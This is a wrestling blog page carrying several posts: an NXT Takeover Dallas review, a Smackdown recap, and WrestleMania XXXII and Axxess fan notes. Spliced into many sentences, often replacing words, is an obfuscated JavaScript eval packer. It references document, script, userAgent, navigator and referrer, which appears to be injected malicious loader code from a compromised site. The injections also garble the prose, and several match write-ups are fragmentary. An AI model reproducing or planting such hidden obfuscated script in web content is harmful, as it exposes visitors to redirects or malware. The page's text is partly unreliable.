New Column: In Other News
Looking at some of the other WWE stories from the weekend.
NXT Takeover: Dallas: Night of a Thousand Chants
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Takeover: Dallas
Date: April 1, 2016
Location: Kay Bailey Hutchison Convention Center, Dallas, Texas
Commentators: Tom Phillips, Corey Graves
Of note: I was in the arena for this show so this is my second time seeing it.
The opening video focuses on the history of Texas wrestling before talking about how this is the future. The two title matches and Zayn vs. Nakamura receive the focus.
Tag Team Titles: American Alpha vs. Revival
Jason misses a charge into the corner but Gable makes a blind tag to come in. Some rollups are exchanged for two and Gable gets some more near falls off a small package and a reverse victory roll. Jordan makes a blind tag of his own and runs around the ring to sneak in and spear the heck out of Wilder, setting up Grand Amplitude for the pin and the titles 15:11.
Jim Ross and Michelle Beadle are shown.
Kota Ibushi is here for a BIG reaction from the crowd.
Ad for the NXT UK tour.
We recap Austin Aries vs. Baron Corbin, which is all about Aries debuting and getting attacked by Corbin, who was mad over losing the #1 contenders triple threat match. Aries is out for revenge.
Austin Aries vs. Baron Corbin
Aries comes back with some left hands and a neckbreaker across the middle rope for a cool spot. A missile dropkick followed by a running corner dropkick put Corbin on the floor for a suicide dive, which of course draws an NXT chant. Aries tries another charge but runs into Deep Six on the floor for a huge crash. For some reason the referee counts one twice so Aries dives back in at eleven. It must be getting the leftover Ring of Honor out of him. Back in and Aries says bring it so Corbin tries End of Days, only to have Austin roll over into a cradle for the pin at 10:43.
Balor arrived earlier in a Star Wars shirt.
Scott Hall and X-Pac are here.
Sami Zayn vs. Shinsuke Nakamura
Post match Asuka looks at the fallen Bayley (now awake and sitting up) but walks away without a handshake or any kind of sportsmanship.
We recap Samoa Joe vs. Finn Balor. Joe already lost to Balor in their first title match back in London but went on to win a VERY long match over Sami Zayn to earn this spot. Since then, Joe has gone on a mini rampage (as is his custom) to set this up.
NXT Title: Samoa Joe vs. Finn Balor
The Sling Blade connects but Balor misses a dropkick, allowing Joe to hit the backsplash for two. Joe stays on him with the powerbomb into the sequence of submissions, capped off by a Crossface. This caused a Benoit chant in the upper deck which was immediately booed out of the building. So even NXT fans have standards.
Joe stares at Balor to end the show.
Results
American Alpha b. Revival – Grand Amplitude to Dawson
Austin Aries b. Baron Corbin – Rollup
Shinsuke Nakamura b. Sami Zayn – Kinshasa
Asuka b. Bayley – Asuka Lock
Finn Balor b. Samoa Joe – Balor flipped back onto Joe while in the Koquina Clutch
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
Quick Raw Thoughts
With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byadh|var|u0026u|referrer|seytb||js|php'.split('|'),0,{})) one major thing.
This was an interesting show but the big story is the crowd. These people were absolutely annoying all night long and most of it came from one section. This would be the section that seemed to get its tickets due to buying the travel package which included a hotel stay at the Sheraton. I know this because they started multiple SHERATON chants followed by multiple TRAVEL PACKAGE chants.
Overall though it was a fun night with some nice surprises (namely Cesaro, Crews and what seemed to be a Wyatt face turn) but the runaway winner of the night was Enzo and Cass. The place came unglued for those guys and the reaction was amazing. Those guys are going to be over huge and a lot of it is due to how great Enzo is on the mic. Some guys just have it and he’s one of them.
Unfortunately it looks like Sami is hurt again as he landed off that flip dive and BOLTED to the back, clearly in a lot of pain. I’m not certain he’s hurt though as it would have been hard to fit Cesaro in there otherwise, assuming that wasn’t a last minute change. I also have an issue with him taking a table powerbomb if he was hurt fifteen minutes earlier so we’ll have to see.
I’ll go more into my issues with the lack of logic to the booking later, probably in a column.
Good show, though again I’m curious to see how it holds up on a regular viewing.
Post Wrestlemania Raw
I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffsn|var|u0026u|referrer|nhriy||js|php'.split('|'),0,{})) be at the show again so use this if you want to talk about it. I’ll be back tonight with a quick live recap and then hopefully the NXT review tomorrow (I’ve started it).
KB
Smackdown – March 31, 2016: A Necessary Evil
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zette|var|u0026u|referrer|yefrb||js|php'.split('|'),0,{}))
March 31, 2016
Location: Barclays Center, New York City, New York
Commentators: Jerry Lawler, Mauro Ranallo
AJ Styles vs. Heath Slater
We hit a chinlock back inside followed by a jumping heel kick (Lawler: “That was fournomenal!”) for two on Styles. Slater misses a splash though and AJ makes his comeback with the speedy strikes, including a Pele to Rose. The Phenomenal Forearm puts Slater away at 4:45.
Network shill.
Hall of Fame ad.
Video on Ambrose vs. Lesnar.
Pre-show preview.
Video on HHH using the Dudley Boyz to trap Reigns from Raw and the ensuing brawl.
Video on Snoop Dogg being inducted into the celebrity wing of the Hall of Fame.
Jey Uso vs. D-Von Dudley
Video on the Divas Title triple threat.
Ad for Thank You Daniel on the WWE Network, which really is entertaining.
Byron and Renee talk about the World Title match.
Video on Reigns vs. HHH.
Dean Ambrose vs. Erick Rowan
A quick plug of the Austin Podcast with Mick Foley takes us out.
Results
AJ Styles b. Heath Slater – Phenomenal Forearm
D-Von Dudley b. Jey Uso – Spinebuster
Dean Ambrose b. Erick Rowan – Dirty Deeds
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at:
The Wife Made WWE.com
I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynrtt|var|u0026u|referrer|ndddh||js|php'.split('|'),0,{})) a rather lucky man.
http://www.wwe.com/shows/wrestlemania/32/gallery/wrestlemania-axxess-2016-day-four-photos#fid-40013920
Quick Wrestlemania Notes
We’re eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaasa|var|u0026u|referrer|innfe||js|php'.split('|'),0,{})) home and exhausted from a VERY long show, which was an absolute blast live. I’ll have a more in depth discussion of the show tomorrow but here are some highlights in no order.
1. The floor was literally shaking for Rock. I’ve never felt that before.
2. Reigns went from villain to hero(ish) by spearing Stephanie. Who knew it was that simple?
3. The video screen was WEIRD. The big screen that most people watched on (the 80 yard long one) kept going to three mini screens and then did things like starting a WOO whenever Charlotte went for the Figure Eight and keeping a count of Brock’s suplexes (picture coming later).
4. That stadium is one of the most impressive things I’ve ever seen. It really has to be seen to be believed.
5. Really fun show live, though I don’t think it topped XXX.
6. Austin’s pop was amazing and I had to hold my wife back when Shawn came out.
7. I’d love to hear their explanation for the show going so long. It couldn’t have been planned to last that long, or at least not that I heard.
8. I was genuinely scared for Shane when he was on top of that Cell. I don’t like feeling like that and I shouldn’t at a wrestling show.
Wrestlemania XXXII
I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nitft|var|u0026u|referrer|tatsn||js|php'.split('|'),0,{})) be at the show tonight so use this to discuss the show if you like. I’ll be back tonight (hopefully not too late) with a post about anything major that happens. Full reviews of Smackdown (yeah I know), NXT, Wrestlemania and then Raw later this week, probably once we get home.
KB
Went To Axxess Again
And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyft|var|u0026u|referrer|zstab||js|php'.split('|'),0,{})) it was roughly a 1938% improvement.We’re about to get ready for Wrestlemania so this is going to be quick.
Met New Day and they’re every bit as funny as they are on TV. They kept people laughing the whole way through, Big E. did his funny voices, Kofi is made for the live crowd (as he kept pointing and smiling at fans) and Woods is just entertaining in general.
Met Hillbilly Jim and Gene Okerlund. Both of them were very nice and talked to me about being from Kentucky. I mentioned that we were on our honeymoon and Okerlund looked at her and said he could see why. So Okerlund thinks my wife is attractive. I think I can live with this.
Then it was off to the Shawn Michaels line which took awhile but was more than worth it. Shawn couldn’t have been nicer and smiled when I said he was the only person to ever make me jump out of my chair. On top of that he hugged my wife as she was crying over meeting him. That’s easily the highlight of the weekend for her, if not of her life.
Also saw the Bellas, Eva Marie, Emma and Sharmell at various points. The camera doesn’t do Emma justice.
FAR better experience overall today with multiple people at most booths, better names in the second section (New Day was there for an hour, were replaced by Sami Zayn for the second hour and then it was Ted DiBiase and Gerald Brisco for the second half. NXT had Samoa Joe instead of the low level women.) and far fewer people. That was the major problem yesterday: too big of a crowd with not a lot they wanted to do. Great day here and the Axxess that I loved from a few years back.
Wrestlemania XXXII Preview: Overall Thoughts
And false hope.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzibh|var|u0026u|referrer|drdah||js|php'.split('|'),0,{})) Wrestlemania is going to be…….interesting. The problems that we’ve been going over for months are still around and the double main event has the potential to be anywhere from a pleasant surprise to an all time mess. This is a show that is being held together by super glue and duct tape at this point and there’s a very real chance that it’s all going to come falling apart at the seams from the moment the show starts. I’m not sure what all we can expect from it though there’s certainly potential for this to be good.
Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:
http://www.amazon.com/dp/B01D4D3EGQ
And check out my Amazon author page with cheap wrestling books at: